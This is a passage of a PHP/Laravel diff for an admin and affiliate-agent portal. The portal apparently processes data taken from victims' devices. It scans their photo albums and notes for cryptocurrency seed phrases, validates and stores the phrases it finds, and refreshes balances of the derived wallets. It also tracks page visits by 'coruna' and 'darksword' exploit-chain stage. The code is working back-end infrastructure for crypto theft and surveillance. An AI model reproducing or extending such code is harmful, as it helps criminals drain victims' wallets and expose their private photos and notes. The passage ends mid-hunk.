$addresses = WalletAddress::query()
|
||||||
|
->where('mnemonic_id', $mnemonic->id)
|
||||||
|
->orderBy('id')
|
||||||
|
->get();
|
||||||
|
|
||||||
|
$ok = 0;
|
||||||
|
$fail = 0;
|
||||||
|
ChainHttpTimeout::using(MnemonicWalletDiscovery::PROBE_TIMEOUT_SECONDS, function () use ($addresses, $balances, &$ok, &$fail) {
|
||||||
|
foreach ($addresses as $address) {
|
||||||
|
if ($balances->refresh($address)) {
|
||||||
|
$ok++;
|
||||||
|
} else {
|
||||||
|
$fail++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => 'ok',
|
||||||
|
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
|
||||||
|
'updating' => false,
|
||||||
|
'refreshed' => $ok,
|
||||||
|
'failed' => $fail,
|
||||||
|
'retry_after' => self::REFRESH_DECAY_SECONDS,
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
|
||||||
|
{
|
||||||
|
$allowed = WalletMnemonic::query()
|
||||||
|
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
|
||||||
|
->where('wallet_mnemonics.id', $mnemonic->id);
|
||||||
|
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||||
|
|
||||||
|
return $allowed->exists();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{mnemonic_id: int, source: string, refresh_url: string, addresses: list<array<string, mixed>>}
|
||||||
|
*/
|
||||||
|
private function walletsPayload(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'mnemonic_id' => $mnemonic->id,
|
||||||
|
'source' => $mnemonic->source ?: '',
|
||||||
|
'refresh_url' => route($this->portal().'.mnemonics.wallets.refresh', $mnemonic->id),
|
||||||
|
'addresses' => $discovery->walletCards($mnemonic),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
private function baseQuery(Request $request): Builder
|
private function baseQuery(Request $request): Builder
|
||||||
{
|
{
|
||||||
$q = WalletMnemonic::query()
|
$q = WalletMnemonic::query()
|
||||||
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
|
->join('devices', 'devices.id', '=', 'wallet_mnemonics.device_id')
|
||||||
|
->leftJoin('devices as origin_devices', 'origin_devices.id', '=', 'wallet_mnemonics.origin_device_id')
|
||||||
->select([
|
->select([
|
||||||
'wallet_mnemonics.*',
|
'wallet_mnemonics.*',
|
||||||
'devices.device_id as device_key',
|
'devices.device_id as device_key',
|
||||||
'devices.channel_id as device_channel_id',
|
'devices.channel_id as device_channel_id',
|
||||||
|
'origin_devices.device_id as origin_device_key',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||||
@@ -86,21 +363,110 @@ class MnemonicController extends Controller
|
|||||||
$channelId = trim((string) $request->query('channel_id', ''));
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
$source = trim((string) $request->query('source', ''));
|
$source = trim((string) $request->query('source', ''));
|
||||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
|
||||||
|
|
||||||
if ($channelId !== '') {
|
if ($channelId !== '') {
|
||||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
}
|
}
|
||||||
if ($deviceKey !== '') {
|
if ($deviceKey !== '') {
|
||||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
$q->where(function ($inner) use ($deviceKey) {
|
||||||
|
$inner->where('devices.device_id', 'like', '%'.$deviceKey.'%')
|
||||||
|
->orWhere('origin_devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||||
|
});
|
||||||
}
|
}
|
||||||
if ($source !== '') {
|
if ($source !== '') {
|
||||||
$q->where('wallet_mnemonics.source', $source);
|
$q->where('wallet_mnemonics.source', $source);
|
||||||
}
|
}
|
||||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
if (! $this->isAgentPortal()) {
|
||||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
AgentScope::applyAgentUserFilter(
|
||||||
|
$q,
|
||||||
|
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
return $q;
|
return $q;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function canSeeOriginDevice(): bool
|
||||||
|
{
|
||||||
|
return ! $this->isAgentPortal() || (bool) config('coruna.scan.agent_visible', true);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function canCreateMnemonic(): bool
|
||||||
|
{
|
||||||
|
if ($this->isAgentPortal()) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
$admin = auth('admin')->user();
|
||||||
|
|
||||||
|
return $admin instanceof Admin && $admin->isSuper();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param iterable<int, string> $existing
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
private function createSourceOptions(iterable $existing): array
|
||||||
|
{
|
||||||
|
$options = WalletSource::mnemonicSourceOptions();
|
||||||
|
$seen = array_fill_keys($options, true);
|
||||||
|
foreach ($existing as $source) {
|
||||||
|
$source = trim((string) $source);
|
||||||
|
if ($source === '' || isset($seen[$source])) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$options[] = $source;
|
||||||
|
$seen[$source] = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $options;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function resolveDevice(string $key): ?Device
|
||||||
|
{
|
||||||
|
$key = trim($key);
|
||||||
|
if ($key === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
$candidates = [$key];
|
||||||
|
$normalized = IngestService::normalizeDeviceKey($key);
|
||||||
|
if (is_string($normalized) && $normalized !== '' && $normalized !== $key) {
|
||||||
|
$candidates[] = $normalized;
|
||||||
|
}
|
||||||
|
if (strtoupper($key) !== $key) {
|
||||||
|
$candidates[] = strtoupper($key);
|
||||||
|
}
|
||||||
|
|
||||||
|
$device = Device::query()->whereIn('device_id', array_values(array_unique($candidates)))->first();
|
||||||
|
if ($device !== null) {
|
||||||
|
return $device;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ctype_digit($key)) {
|
||||||
|
return Device::query()->find((int) $key);
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function isAcceptableMnemonic(string $secret): bool
|
||||||
|
{
|
||||||
|
$words = preg_split('/\s+/u', strtolower(trim($secret))) ?: [];
|
||||||
|
$n = count($words);
|
||||||
|
if (! in_array($n, [12, 15, 18, 21, 24], true)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
foreach ($words as $word) {
|
||||||
|
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,174 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\MnemonicFinding;
|
||||||
|
use App\Services\MnemonicScanService;
|
||||||
|
use App\Support\AgentScope;
|
||||||
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
|
class MnemonicFindingController extends Controller
|
||||||
|
{
|
||||||
|
use PortalAware;
|
||||||
|
|
||||||
|
public function index()
|
||||||
|
{
|
||||||
|
$this->denyHiddenAgentScan();
|
||||||
|
|
||||||
|
return view('admin.findings.index', [
|
||||||
|
'portal' => $this->portal(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function progress(MnemonicScanService $scan)
|
||||||
|
{
|
||||||
|
$this->denyHiddenAgentScan();
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'photo' => $scan->photoProgress(null, $this->agent()),
|
||||||
|
'note' => $scan->noteProgress(null, $this->agent()),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function data(Request $request)
|
||||||
|
{
|
||||||
|
$this->denyHiddenAgentScan();
|
||||||
|
$q = $this->baseQuery($request);
|
||||||
|
$status = trim((string) $request->query('status', ''));
|
||||||
|
if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) {
|
||||||
|
$q->where('mnemonic_findings.status', $status);
|
||||||
|
}
|
||||||
|
$source = trim((string) $request->query('source', ''));
|
||||||
|
if (in_array($source, [MnemonicFinding::SOURCE_PHOTO, MnemonicFinding::SOURCE_NOTE], true)) {
|
||||||
|
$q->where('mnemonic_findings.source', $source);
|
||||||
|
}
|
||||||
|
|
||||||
|
$q->orderByDesc('mnemonic_findings.id');
|
||||||
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
$portal = $this->portal();
|
||||||
|
|
||||||
|
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||||
|
/** @var MnemonicFinding $row */
|
||||||
|
$photoUrl = $row->photo_id
|
||||||
|
? route($portal.'.devices.photo', [$row->device_id, $row->photo_id])
|
||||||
|
: '';
|
||||||
|
|
||||||
|
return [
|
||||||
|
'id' => $row->id,
|
||||||
|
'device_key' => $row->device_key ?: '',
|
||||||
|
'channel_id' => $row->device_channel_id ?: '',
|
||||||
|
'source' => $row->source === MnemonicFinding::SOURCE_PHOTO ? '相册' : '备忘录',
|
||||||
|
'status' => $row->status,
|
||||||
|
'status_label' => MnemonicFinding::statusLabel((string) $row->status),
|
||||||
|
'candidate' => $row->candidate,
|
||||||
|
'excerpt' => mb_substr((string) $row->excerpt, 0, 160),
|
||||||
|
'word_count' => (int) $row->word_count,
|
||||||
|
'score' => (int) $row->score,
|
||||||
|
'photo_url' => $photoUrl,
|
||||||
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
|
'detail_url' => route($portal.'.devices.show', [
|
||||||
|
'device' => $row->device_id,
|
||||||
|
'tab' => $row->source === MnemonicFinding::SOURCE_PHOTO ? 'photos' : 'notes',
|
||||||
|
]),
|
||||||
|
];
|
||||||
|
})->values();
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'count' => $paginator->total(),
|
||||||
|
'data' => $data,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan)
|
||||||
|
{
|
||||||
|
$this->denyHiddenAgentScan();
|
||||||
|
if (! $this->findingInScope($finding)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
if ($finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '只有疑似记录可以确认']);
|
||||||
|
}
|
||||||
|
$candidate = $request->input('candidate');
|
||||||
|
if (! $scan->confirm($finding, $this->actorLabel(), is_string($candidate) ? $candidate : null)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '不是合法助记词,无法确定入库']);
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan)
|
||||||
|
{
|
||||||
|
$this->denyHiddenAgentScan();
|
||||||
|
if (! $this->findingInScope($finding)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
$scan->dismiss($finding, $this->actorLabel());
|
||||||
|
|
||||||
|
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function denyHiddenAgentScan(): void
|
||||||
|
{
|
||||||
|
if ($this->isAgentPortal() && ! config('coruna.scan.agent_visible', true)) {
|
||||||
|
abort(403, '无权访问');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function findingInScope(MnemonicFinding $finding): bool
|
||||||
|
{
|
||||||
|
$q = MnemonicFinding::query()
|
||||||
|
->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
|
||||||
|
->where('mnemonic_findings.id', $finding->id);
|
||||||
|
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||||
|
|
||||||
|
return $q->exists();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function actorLabel(): string
|
||||||
|
{
|
||||||
|
if ($this->isAgentPortal()) {
|
||||||
|
$user = auth('agent')->user();
|
||||||
|
|
||||||
|
return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? '');
|
||||||
|
}
|
||||||
|
$admin = auth('admin')->user();
|
||||||
|
|
||||||
|
return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? '');
|
||||||
|
}
|
||||||
|
|
||||||
|
private function baseQuery(Request $request): Builder
|
||||||
|
{
|
||||||
|
$q = MnemonicFinding::query()
|
||||||
|
->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
|
||||||
|
->select([
|
||||||
|
'mnemonic_findings.*',
|
||||||
|
'devices.device_id as device_key',
|
||||||
|
'devices.channel_id as device_channel_id',
|
||||||
|
]);
|
||||||
|
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||||
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
|
if ($channelId !== '') {
|
||||||
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
|
}
|
||||||
|
if ($deviceKey !== '') {
|
||||||
|
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||||
|
}
|
||||||
|
if (! $this->isAgentPortal()) {
|
||||||
|
AgentScope::applyAgentUserFilter(
|
||||||
|
$q,
|
||||||
|
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $q;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -7,6 +7,7 @@ use App\Http\Controllers\Controller;
|
|||||||
use App\Models\Note;
|
use App\Models\Note;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
|
use App\Support\NoteContent;
|
||||||
use Illuminate\Database\Eloquent\Builder;
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
@@ -38,22 +39,22 @@ class NoteController extends Controller
|
|||||||
}
|
}
|
||||||
$q->orderBy('notes.'.$field, $order);
|
$q->orderBy('notes.'.$field, $order);
|
||||||
|
|
||||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
|
||||||
$portal = $this->portal();
|
$portal = $this->portal();
|
||||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
||||||
$content = $row->content;
|
$items = $row instanceof Note ? $row->items() : NoteContent::normalizeStored($row->content);
|
||||||
if (is_array($content)) {
|
$titles = NoteContent::titles($items, 2);
|
||||||
$content = json_encode($content, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
|
||||||
}
|
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'id' => $row->id,
|
'id' => $row->id,
|
||||||
'device_key' => $row->device_key ?: '',
|
'device_key' => $row->device_key ?: '',
|
||||||
'channel_id' => $row->device_channel_id ?: '',
|
'channel_id' => $row->device_channel_id ?: '',
|
||||||
'content' => $content ?: '',
|
'item_count' => count($items),
|
||||||
|
'preview' => implode(' · ', $titles),
|
||||||
|
'items' => $items,
|
||||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
|
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'notes']),
|
||||||
@@ -82,16 +83,17 @@ class NoteController extends Controller
|
|||||||
|
|
||||||
$channelId = trim((string) $request->query('channel_id', ''));
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
$agentUserId = (int) $request->query('agent_user_id', 0);
|
|
||||||
|
|
||||||
if ($channelId !== '') {
|
if ($channelId !== '') {
|
||||||
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
}
|
}
|
||||||
if ($deviceKey !== '') {
|
if ($deviceKey !== '') {
|
||||||
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||||
}
|
}
|
||||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
if (! $this->isAgentPortal()) {
|
||||||
AgentScope::applyAgentUserFilter($q, $agentUserId);
|
AgentScope::applyAgentUserFilter(
|
||||||
|
$q,
|
||||||
|
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||||
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
return $q;
|
return $q;
|
||||||
|
|||||||
@@ -0,0 +1,200 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\DsChainLog;
|
||||||
|
use App\Models\PageVisit;
|
||||||
|
use App\Models\User;
|
||||||
|
use App\Support\AgentScope;
|
||||||
|
use App\Support\CfIpCountry;
|
||||||
|
use Carbon\Carbon;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
|
class PageVisitController extends Controller
|
||||||
|
{
|
||||||
|
use PortalAware;
|
||||||
|
|
||||||
|
public function index()
|
||||||
|
{
|
||||||
|
$agents = $this->isAgentPortal()
|
||||||
|
? collect()
|
||||||
|
: User::query()->orderBy('username')->get(['id', 'username']);
|
||||||
|
|
||||||
|
return view('admin.visits.index', [
|
||||||
|
'portal' => $this->portal(),
|
||||||
|
'agents' => $agents,
|
||||||
|
'countries' => CfIpCountry::names(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function data(Request $request)
|
||||||
|
{
|
||||||
|
$q = $this->scopedQuery($request);
|
||||||
|
$limit = min(100, max(1, (int) $request->query('limit', 20)));
|
||||||
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
|
|
||||||
|
$total = (clone $q)->count();
|
||||||
|
$rows = (clone $q)
|
||||||
|
->orderByDesc('id')
|
||||||
|
->forPage($page, $limit)
|
||||||
|
->get([
|
||||||
|
'id', 'channel_id', 'client_uid', 'chain', 'os', 'os_version',
|
||||||
|
'browser', 'browser_version', 'user_agent', 'ip', 'country', 'domain', 'referer', 'created_at',
|
||||||
|
]);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'count' => $total,
|
||||||
|
'data' => $rows->map(static fn (PageVisit $v) => [
|
||||||
|
'id' => $v->id,
|
||||||
|
'channel_id' => $v->channel_id,
|
||||||
|
'client_uid' => $v->client_uid,
|
||||||
|
'chain' => (int) $v->chain,
|
||||||
|
'chain_label' => PageVisit::chainLabel((int) $v->chain),
|
||||||
|
'os' => $v->os ?: '',
|
||||||
|
'os_version' => $v->os_version ?: '',
|
||||||
|
'browser' => $v->browser ?: '',
|
||||||
|
'browser_version' => $v->browser_version ?: '',
|
||||||
|
'user_agent' => $v->user_agent ?: '',
|
||||||
|
'ip' => $v->ip ?: '',
|
||||||
|
'country' => $v->country ?: '',
|
||||||
|
'country_label' => CfIpCountry::label($v->country),
|
||||||
|
'domain' => $v->domain ?: '',
|
||||||
|
'referer' => $v->referer ?: '',
|
||||||
|
'created_at' => optional($v->created_at)?->toDateTimeString(),
|
||||||
|
])->values(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function logs(Request $request)
|
||||||
|
{
|
||||||
|
$uid = Device::normalizeDarkswordKey((string) $request->query('client_uid', '')) ?? '';
|
||||||
|
if ($uid === '') {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '缺少访客 UID', 'data' => []]);
|
||||||
|
}
|
||||||
|
|
||||||
|
$visible = $this->scopedQuery($request)->where('client_uid', $uid)->where('chain', PageVisit::CHAIN_DARKSWORD);
|
||||||
|
if (! $visible->exists()) {
|
||||||
|
return response()->json(['code' => 0, 'msg' => '', 'data' => []]);
|
||||||
|
}
|
||||||
|
|
||||||
|
$rows = DsChainLog::query()
|
||||||
|
->where('client_uid', $uid)
|
||||||
|
->orderBy('id')
|
||||||
|
->limit(200)
|
||||||
|
->get();
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => $rows->map(static fn (DsChainLog $row) => [
|
||||||
|
'id' => $row->id,
|
||||||
|
'stage' => $row->stage,
|
||||||
|
'stage_label' => DsChainLog::stageTitle((string) $row->stage),
|
||||||
|
'progress' => (int) $row->progress,
|
||||||
|
'label' => $row->label ?: '',
|
||||||
|
'created_at' => optional($row->created_at)?->toDateTimeString(),
|
||||||
|
])->values(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function scopedQuery(Request $request)
|
||||||
|
{
|
||||||
|
$q = PageVisit::query();
|
||||||
|
AgentScope::applyChannelIdScope($q, $this->agent());
|
||||||
|
|
||||||
|
if (! $this->isAgentPortal()) {
|
||||||
|
AgentScope::applyChannelIdAgentUserFilter(
|
||||||
|
$q,
|
||||||
|
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
|
if ($channelId !== '') {
|
||||||
|
$q->where('channel_id', 'like', '%'.$channelId.'%');
|
||||||
|
}
|
||||||
|
|
||||||
|
$chain = $this->parseChainFilter($request->query('chain'));
|
||||||
|
if ($chain !== null) {
|
||||||
|
$q->where('chain', $chain);
|
||||||
|
}
|
||||||
|
|
||||||
|
$os = trim((string) $request->query('os', ''));
|
||||||
|
if ($os !== '') {
|
||||||
|
$q->where('os', $os);
|
||||||
|
}
|
||||||
|
$osVersion = trim((string) $request->query('os_version', ''));
|
||||||
|
if ($osVersion !== '') {
|
||||||
|
$q->where('os_version', $osVersion);
|
||||||
|
}
|
||||||
|
$browser = trim((string) $request->query('browser', ''));
|
||||||
|
if ($browser !== '') {
|
||||||
|
$q->where('browser', $browser);
|
||||||
|
}
|
||||||
|
$browserVersion = trim((string) $request->query('browser_version', ''));
|
||||||
|
if ($browserVersion !== '') {
|
||||||
|
$q->where('browser_version', $browserVersion);
|
||||||
|
}
|
||||||
|
$country = CfIpCountry::normalize((string) $request->query('country', ''));
|
||||||
|
if ($country !== null) {
|
||||||
|
$q->where('country', $country);
|
||||||
|
}
|
||||||
|
|
||||||
|
$domain = trim((string) $request->query('domain', ''));
|
||||||
|
if ($domain !== '') {
|
||||||
|
$q->where('domain', 'like', '%'.$domain.'%');
|
||||||
|
}
|
||||||
|
$referer = trim((string) $request->query('referer', ''));
|
||||||
|
if ($referer !== '') {
|
||||||
|
$q->where('referer', 'like', '%'.$referer.'%');
|
||||||
|
}
|
||||||
|
|
||||||
|
[$from, $to] = $this->rangeBounds((string) $request->query('range', 'today'));
|
||||||
|
$q->whereBetween('created_at', [$from, $to]);
|
||||||
|
|
||||||
|
return $q;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Empty / missing / all = no chain filter. */
|
||||||
|
private function parseChainFilter(mixed $raw): ?int
|
||||||
|
{
|
||||||
|
if ($raw === null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||||
|
if ($value === '' || $value === 'all' || $value === []) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if ($value === 0 || $value === '0' || $value === 'coruna') {
|
||||||
|
return PageVisit::CHAIN_CORUNA;
|
||||||
|
}
|
||||||
|
if ($value === 1 || $value === '1' || $value === 'darksword' || $value === 'ds') {
|
||||||
|
return PageVisit::CHAIN_DARKSWORD;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array{0: Carbon, 1: Carbon}
|
||||||
|
*/
|
||||||
|
private function rangeBounds(string $range): array
|
||||||
|
{
|
||||||
|
$now = Carbon::now();
|
||||||
|
|
||||||
|
return match ($range) {
|
||||||
|
'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
|
||||||
|
'yesterday' => [
|
||||||
|
$now->copy()->subDay()->startOfDay(),
|
||||||
|
$now->copy()->subDay()->endOfDay(),
|
||||||
|
],
|
||||||
|
'7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
|
||||||
|
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,6 +5,7 @@ namespace App\Http\Controllers\Admin;
|
|||||||
use App\Http\Controllers\Concerns\PortalAware;
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Models\Photo;
|
use App\Models\Photo;
|
||||||
|
use App\Models\PhotoRead;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
use Illuminate\Database\Eloquent\Builder;
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
@@ -38,12 +39,16 @@ class PhotoController extends Controller
|
|||||||
}
|
}
|
||||||
$q->orderBy('photos.'.$field, $order);
|
$q->orderBy('photos.'.$field, $order);
|
||||||
|
|
||||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
|
||||||
$portal = $this->portal();
|
$portal = $this->portal();
|
||||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
[$guard, $actorId] = $this->viewerActor();
|
||||||
|
$readIds = ($guard !== null && $actorId !== null)
|
||||||
|
? PhotoRead::readPhotoIds($guard, $actorId, $paginator->getCollection()->pluck('id')->all())
|
||||||
|
: [];
|
||||||
|
$data = collect($paginator->items())->map(function ($row) use ($portal, $readIds) {
|
||||||
return [
|
return [
|
||||||
'id' => $row->id,
|
'id' => $row->id,
|
||||||
'device_key' => $row->device_key ?: '',
|
'device_key' => $row->device_key ?: '',
|
||||||
@@ -51,6 +56,7 @@ class PhotoController extends Controller
|
|||||||
'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]),
|
'url' => route($portal.'.devices.photo', [$row->device_id, $row->id]),
|
||||||
'size' => $row->size,
|
'size' => $row->size,
|
||||||
'x_hit' => $row->x_hit,
|
'x_hit' => $row->x_hit,
|
||||||
|
'read' => in_array((int) $row->id, $readIds, true) ? 1 : 0,
|
||||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']),
|
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'photos']),
|
||||||
];
|
];
|
||||||
@@ -78,8 +84,6 @@ class PhotoController extends Controller
|
|||||||
|
|
||||||
$channelId = trim((string) $request->query('channel_id', ''));
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
$deviceKey = trim((string) $request->query('device_key', ''));
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
